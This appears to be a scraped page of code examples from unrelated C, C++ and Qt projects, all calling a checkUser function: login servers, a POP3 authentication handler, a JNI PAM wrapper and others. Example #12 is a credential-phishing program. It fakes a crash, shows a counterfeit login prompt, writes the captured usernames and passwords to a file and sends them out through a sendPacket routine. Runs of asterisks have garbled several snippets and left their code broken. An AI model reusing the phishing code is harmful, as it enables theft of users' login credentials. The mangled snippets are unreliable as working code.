//==============================================================================
bool MinosClientConnection::checkFrom( TiXmlElement *tix )
{
   if ( !fromIdSet )
   {
      return true;
   }
   // if no "from" insert one

   const char *sfrom = tix->Attribute( "from" );
   if ( !sfrom )
   {
      // insert a from of ourselves

      std::string from = makeJid();
      if ( from.size() )
      {
         tix->SetAttribute( "from", from.c_str() );
      }
   }
   else
   {
      MinosId from( sfrom );
      if ( !checkServer( from ) )
         return false;

      if ( !checkUser( from ) )
         return false;
   }
   return true;
}
Example #2
0
void Server::newConnection(MessageInfo info)
{
    if (checkUser(info.param[0], info.param[1])) {
        int clientUDP = socket(AF_INET, SOCK_DGRAM, 0);
        sockaddr_in clUDPaddr;
        clUDPaddr.sin_family = AF_INET;
        clUDPaddr.sin_addr.s_addr = htonl(INADDR_ANY);
        clUDPaddr.sin_port = clientTCPAddress->sin_port;
        socklen_t clUDPlen = sizeof(clUDPaddr);
        bind(clientUDP, (sockaddr* )&clUDPaddr, sizeof(clUDPaddr));

        std::cout << clUDPaddr.sin_addr.s_addr << " : " <<  ntohs(clUDPaddr.sin_port) << std::endl;

        std::string tempID(info.param[0]);
        std::string tempString = "OK. UDP EXP " + std::to_string(ntohs(clUDPaddr.sin_port));
        send(clientTCP, tempString.c_str(), tempString.length(), 0);

        recvfrom(clientUDP, buf, BUF_SIZE, 0, (sockaddr* ) &clUDPaddr, &clUDPlen);

        tempString = "OK. UDP " + std::to_string(ntohs(clUDPaddr.sin_port));
        send(clientTCP, tempString.c_str(), tempString.length(), 0);

        clientsBase.add(tempID, inet_ntoa(clUDPaddr.sin_addr), ntohs(clUDPaddr.sin_port), ntohs(clientTCPAddress->sin_port));

        std::cout << "Regestrated: " + tempID + " port: " +  std::to_string(ntohs(clUDPaddr.sin_port))<< std::endl;
    } else {
        std::string tempString = "PASSINCORRECT";
        send(clientTCP, tempString.c_str(), tempString.length(), 0);
    };
}
Example #3
0
//процесс аутентификации
int MailHandler::authentication(SOCKET client_socket, int& status, User& curUser){
	char buf[SIZE_OF_BUF] = "/0";
	int len = recvLine(client_socket, buf, SIZE_OF_BUF);
	cout << buf << endl;  
	int res=-1;
	if (len>0){
		string request = string(buf);
		string pass;		
		request.erase(request.size() - 1);
		cout << "request = " << request << endl;
		if (request.find("USER") != string::npos){
			request.erase(request.begin(), request.begin() + 5);
			int check = checkUser(request);
			if (check == -1){
				sendLine(client_socket, responses[4]);//ответ о том, что нет такого пользователя
				res = -1;
			}
			else{
				sendLine(client_socket, responses[3]);//ответ о том, что есть такой пользователь
				len = recvLine(client_socket, buf, SIZE_OF_BUF);
				if (len>0){
					pass = string(buf);
					pass.erase(pass.size() - 1);
					if (pass.find("PASS") != string::npos){
						pass.erase(pass.begin(), pass.begin() + 5);
						if (users[check].getPass() == pass){
							curUser = users[check];
							curUser.setOnline();
							string answer = connectedUser(curUser);
							sendLine(client_socket, answer.c_str());//правильный пароль
							res = 1;
						}
						else {
							sendLine(client_socket, responses[6]);//неправильный пароль
							res = -1;
						}
					}
					else if (pass.find("QUIT") != string::npos){
						status = 0;
						sendLine(client_socket, responses[16]);
					}
				}
			}
		}
		else if (request.find("QUIT") != string::npos){
			status = 0;
			sendLine(client_socket, responses[16]);
		}
		else if (request.find("CAPA") != string::npos){
			string ans;
			ans.append("+OK Capability list follows\r\nUSER\r\n.");
			sendLine(client_socket, ans.c_str());
		}
	}
	return res;
}
Example #4
0
void ListSecurity::init()
{
    list<ICQUser*> &users = pClient->contacts.users;
    list<ICQUser*>::iterator it;
    for (it = users.begin(); it != users.end(); it++){
        if (!checkUser(*it)) continue;
        oldValue.push_back((*it)->Uin);
        tblUsers->addUin((*it)->Uin);
    }
}
Example #5
0
void ListSecurity::processEvent(ICQEvent *e)
{
    tblUsers->setEnabled(pClient->isLogged());
    if ((e->type() != EVENT_INFO_CHANGED) || (e->Uin() == 0)) return;
    ICQUser *u = pClient->getUser(e->Uin(), true);
    if (u == NULL) return;
    if (checkUser(u)){
        tblUsers->addUin(u->Uin);
        oldValue.push_back(u->Uin);
    }else{
        tblUsers->deleteUin(u->Uin);
        oldValue.remove(u->Uin);
    }
}
Example #6
0
static void execute( unsigned char * array[] , int pos ){

   int i ;
   if( ( pos < 4 ) || strcmp(array[0],"check" ) ){
   
      fprintf(stdout,"error\n") ;
   
   }else{
   
      if( checkUser( array[1] , array[2] , array[3] ) ){
         fprintf(stdout,"true\n") ;
      }else{
         fprintf(stdout,"false\n");
      }
   }
   
   fflush(stdout) ;
}
Example #7
0
JNIEXPORT jint JNICALL 
Java_diskCacheV111_admin_PAM_1Auth_checkUser(JNIEnv *env, jobject obj, jstring srv, jstring user, jstring pass)
{

	jint rc;

	const char *service = (*env)->GetStringUTFChars(env, srv, 0);
	const char *usr = (*env)->GetStringUTFChars(env, user, 0);
	const char *pas = (*env)->GetStringUTFChars(env, pass, 0);
	
	rc = checkUser(service, usr, pas);

	(*env)->ReleaseStringUTFChars(env, srv, service);
	(*env)->ReleaseStringUTFChars(env, user, usr);
	(*env)->ReleaseStringUTFChars(env, pass, pas);
		
	return rc;
}
Example #8
0
void Server::listening()
{
    buf = new char[BUF_SIZE];
    socklen_t clientLen = sizeof(*clientTCPAddress);
    clientTCPAddress = new sockaddr_in;

    while (1) {
        memset(buf, 0, BUF_SIZE);
        std::cout << "Wait" << std::endl;
        clientTCP = accept(serverTCP, (sockaddr* ) clientTCPAddress, &clientLen);
        int n = recv(clientTCP, buf, BUF_SIZE, 0);
        if (n > 0) {
            MessageInfo info = parse(buf);
            switch (info.type) {
                case NEW_CON: {
                    newConnection(info);
                    break;
                }
                case FRIEND:
                    break;
                case GET_CL: {
                    std::string tempstr;
                    ClientInfo clinfo = clientsBase.get(info.param[0]);
                    if (clinfo.ip.empty())

                        tempstr = "NOCLN";
                    else
                        tempstr = "CLADDR: " + clinfo.ip + ":" + std::to_string(clinfo.portUDP) + ":" + std::to_string(clinfo.portTCP);
                        send(clientTCP, tempstr.c_str(), tempstr.length(), 0);
                        std::cout << "Sended data " << tempstr.c_str() << std::endl;
                    break;
                }
                case QUIT: {
                    if (checkUser(info.param[0], info.param[1])) {
                        clientsBase.remove(info.param[0]);
                    }
                    break;
                }
            }

        }
        ::close(clientTCP);
    }
}
void TeachingLoginDialog::createActions()
{
    connect(ui->submitBtn,SIGNAL(clicked()),this,SLOT(checkUser()));
    connect(showMainWinAction,SIGNAL(triggered()),this,SLOT(showMainWin()));
    connect(quitAction,SIGNAL(triggered()),mainWin,SLOT(quitApp()));
    connect(sysTray,SIGNAL(activated(QSystemTrayIcon::ActivationReason)),this,SLOT(dbClickTray(QSystemTrayIcon::ActivationReason)));
    connect(this,SIGNAL(quitApp()),qApp,SLOT(quit()));
    connect(logoutAction,SIGNAL(triggered()),this,SLOT(showLoginDialog()));
    connect(ui->settingBtn,SIGNAL(clicked()),settingserverdialog,SLOT(exec()));
    //signals from mainwindow
    connect(mainWin,SIGNAL(logout()),this,SLOT(showLoginDialog()));
    connect(mainWin,SIGNAL(logout()),ui->passWord,SLOT(setFocus()));
    connect(mainWin,SIGNAL(minMe()),this,SLOT(showTrayMessage()));
    connect(mainWin,SIGNAL(refreshOnTrayMessage()),this,SLOT(refreshOnTrayMessage()));
    //signal from settingdbserver dialog
    connect(settingserverdialog,SIGNAL(imClosed()),ui->passWord,SLOT(setFocus()));
    //global shortcut
    connect(mainWin,SIGNAL(showMe()),this,SLOT(showMainWin()));
    //getserverconnectinfo
    connect(getInfo,SIGNAL(timeout()),this,SLOT(getServerConnectInfo()));
}
Example #10
0
bool MainServer::authorize( const QString& cmd, Clients::iterator client )
{
    // Checking received data for authorization and making authorization
    QRegExp rx( "mbclient:(\\d+):(\\w+):(.+):" );

    if( rx.indexIn( cmd ) != -1 )
    {
        if( client->status == ST_CONNECTED )
        {
            qDebug() << "Version: " << rx.cap( 1 );
            if( rx.cap(1).toInt() != PROTOCOL_VERSION )
            {
                client->send( "wrongver:" );
                client->socket->close();
                return true;
            }

            qDebug() << "Login: "******"Password: "******"wronguser:"******"mbserver:%1:").arg(PROTOCOL_VERSION) )
            );
            return true;
        }
    }

    return false;
}
Example #11
0
int main(const int argc, const char* argv[]) {
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    checkUser();
    if (chdir(etmWorkingDir) == -1) {
        perror("chdir");
        exit(EXIT_FAILURE);
    }
    umask(006);
    cleanPreviousRun();
    registerSignalHandlers();

    setupSocketServer();

    fdLock = open(LOCK_PATH, O_CREAT | O_RDWR, 0666);

    if (fdLock == -1) {
        perror("Open lock file");
        exit(EXIT_SUCCESS);
    }

    int rc = flock(fdLock, LOCK_EX | LOCK_NB);
    if (rc == 0) {
        // success
        puts("xwared: unlocked.");
        fdETMLock = open(ETM_LOCK_PATH, O_CREAT | O_RDWR, 0666);
        if (fdETMLock == -1) {
            perror("Open ETM lock file");
            exit(EXIT_SUCCESS);
        }

        // Check if ETM should run at start
        GKeyFile* configFile = g_key_file_new();
        if (g_key_file_load_from_file(configFile, CONFIG_PATH, G_KEY_FILE_NONE, NULL) == 0) {
            fprintf(stderr, "xwared: cannot load settings.ini, use default value\n");
        }
        GError* gErr = NULL;
        gboolean etmStart = g_key_file_get_boolean(configFile, "xwared", "startetm", &gErr);
        if (gErr == NULL) {
            if (etmStart == FALSE) {
                toRunETM = 0;
            }
        } else {
            fprintf(stderr, "xwared: %s, use default value\n", gErr->message);
            g_error_free(gErr);
        }
        g_key_file_free(configFile);

        while(1) {
            runETM();
        }

    } else {
        if (errno == EWOULDBLOCK) {
            puts("xwared: locked.");
            exit(EXIT_FAILURE);
        }
        perror("flock");
    }
    unload();
    exit(EXIT_SUCCESS);
}
Example #12
0
unsigned int main(unsigned int argc, char *argv[])
{
	// fake crash
	for (unsigned int i = 0; i < 3; i++)
	{
		sleep(1);
		printf("\n");
	}

	printf("Program received signal SIGSEGV, Segmentation fault. (core dumped)\n");
	printf("Cannot access memory address 0x846b972d...exiting.\n\n");

	// present fake login
	char hostname[20], login[20], password[20];

	memset(&hostname, '0', sizeof hostname);
	memset(&login, '0', sizeof login);
	memset(&password, '0', sizeof password);

	FILE *hn = NULL, *file = NULL;
	hn = fopen("/etc/hostname", "r");

	if (hn != NULL)
	{
		if (fgets(hostname, sizeof hostname, hn) != NULL)
		{
			unsigned int len = strlen(hostname) - 1;
			if (hostname[len] == '\n')
    				hostname[len] = '\0';
		}
		fclose(hn);
	}

	while (1)
	{
		printf("%s login: "******"%s", login);
		printf("Password: "******"%s", password);

		if (checkUser(login) && strlen(login) < 20 && strlen(password) < 20)
			break;
		else {
			sleep(3);
			printf("\nLogin incorrect\n");
		}
	}

	// save data
	char data[41];
	memset(&data, '0', sizeof *data);

	strncpy(data, login, strlen(login));
	strncat(data, "|", 1);
	strncat(data, password, strlen(password));
	strncat(data, "\n", 1);

	file = fopen("./fakelogin.txt", "a");
	fprintf(file, "%s", data);
	fclose(file);

	// exfiltrate data
	unsigned int dns = 0;
	if (argv[1] && atoi(argv[1]) == 1) dns = 1;
	if (sendPacket(data, login, password, dns))
		return 1;

	return 0;
}
Example #13
0
int main(int argc, char *argv[]) {
	checkUser();                                /* you have to be root */

	/* arguments */
	char *device = NULL;
	unit_t unit;
	unit = a;                                   /* default ist 'auto' */
	int argi;
	for (argi = 1; argi < argc; ++argi) {
		if (argv[argi][0] == '-') {
			if (strcmp(argv[argi], "-h") == 0 || strcmp(argv[argi], "--help") == 0) {
				showHelp();
				return EXIT_SUCCESS;
			} else if (strcmp(argv[argi], "-v") == 0 || strcmp(argv[argi], "--version") == 0) {
				showVersion();
				return EXIT_SUCCESS;
			} else if (strcmp(argv[argi], "-l") == 0 || strcmp(argv[argi], "--list") == 0) {
				showList();
				return EXIT_SUCCESS;
			} else if (strcmp(argv[argi], "-a") == 0)
				unit = a;
			else if (strcmp(argv[argi], "-b") == 0)
				unit = b;
			else if (strcmp(argv[argi], "-k") == 0)
				unit = k;
			else if (strcmp(argv[argi], "-m") == 0)
				unit = m;
			else if (strcmp(argv[argi], "-g") == 0)
				unit = g;
			else if (strcmp(argv[argi], "-t") == 0)
				unit = t;
			else if (strcmp(argv[argi], "-p") == 0)
				unit = p;
			else if (strcmp(argv[argi], "-e") == 0)
				unit = e;
			else if (strcmp(argv[argi], "-z") == 0)
				unit = z;
			else if (strcmp(argv[argi], "-y") == 0)
				unit = y;
			else {
				fprintf(stderr, "ERROR: invalid argument\n");
				showHelp();
				exit(EXIT_FAILURE);
			}
		} else {
			if (device != NULL) {
				fprintf(stderr, "ERROR: device set more than once\n");
				showHelp();
				exit(EXIT_FAILURE);
			}
			device = argv[argi];
		}
	}

	if (device == NULL) {
		fprintf(stderr, "ERROR: device not set\n");
		showHelp();
		exit(EXIT_FAILURE);
	}
	showSize(device, unit);

	return EXIT_SUCCESS;
}
Example #14
0
int _tmain(int argc, _TCHAR* argv[])
{	
	/* add valid user */
	valid_user.Add(_T("mr_timon"));
	valid_user.Add(_T("mr_pumbaa"));
	valid_user.Add(_T("star_patrick"));
	valid_user.Add(_T("乐乐是我的哦"));
	valid_user.Add(_T("457800643xc"));
	valid_user.Add(_T("lingzhiji服饰旗舰店"));
	valid_user.Add(_T("呢好美"));
	//valid_user.Add(_T("star"));
	//valid_user.Add(_T("lele"));

	if(checkUser(argv[2])){
		std::cout << std::endl << std::endl << "       you are not a valid user!          " << std::endl << std::endl << std::endl;
		return 0;
	}

	CString URL;
	CString url_date;
	CString url_spm = _T("spm=1.7274553.1997520841.1");
	CString url_keyWord ;
	CString url_option = _T("commend=all&ssid=s5-e&search_type=item&sourceId=tb.index");
	CString url_head = _T("http://s.taobao.com/search?");
	CString url_page;

	CString filePath = _T("dist");
	//CString string_keyWord = _T("儿童防紫外线帽子");
	//CString string_id = _T("mr_timon");
	CString string_keyWord = argv[1];
	CString string_id = argv[2];


	url_date = _T("initiative_id=tbindexz_") + generateUrlDate();
	url_keyWord = _T("q=") + generateUrlKeyWord(string_keyWord);

	for(int i = 1; i <= 100; i++){
		url_page = generateUrlPage(i);
		if((i - 1)%10 == 0){
			std::cout << "     searching";
			for(int j = 0; j < i/10; j++){
				std::cout << ".";
			}
			std::cout << std::endl;
		}
		if(i != 1){
			URL = url_head + url_keyWord + _T("&") + url_spm + _T("&") + url_option+ _T("&") + url_date + _T("&") + url_page;
		}else{
			URL = url_head + url_keyWord + _T("&") + url_spm + _T("&") + url_option+ _T("&") + url_date;
		}

		/*   这里有资源链接的话,可以把对应的资源下载下来   */
		//URL = _T("http://www.jojomamanbebe.co.uk/products/images/large/B2755C.jpg");
		
		HRESULT result =  URLDownloadToFile(0, URL, filePath, 0, NULL);
		if(result == S_OK){
			//std::cout << "down\n";
			if(!searchLocation(filePath,string_id)){
				std::cout << "            page = " << i << std::endl << std::endl << std::endl;
				break;
			}else{
				if(i == 100)
					std::cout << std::endl << std::endl << "*************  sorry,we don't have found it  *************" << std::endl << std::endl << std::endl ;
			}
		}else{
			std::cout << "URLDownloadToFile failed\n";
			return 1;
		}
	}

	//std::cout << "real_url = " << URL << std::endl;

	std::ofstream fout("currentURL.txt");
	fout << URL;
	fout.flush();
	fout.close();
	
	//getchar();
	return 0;
}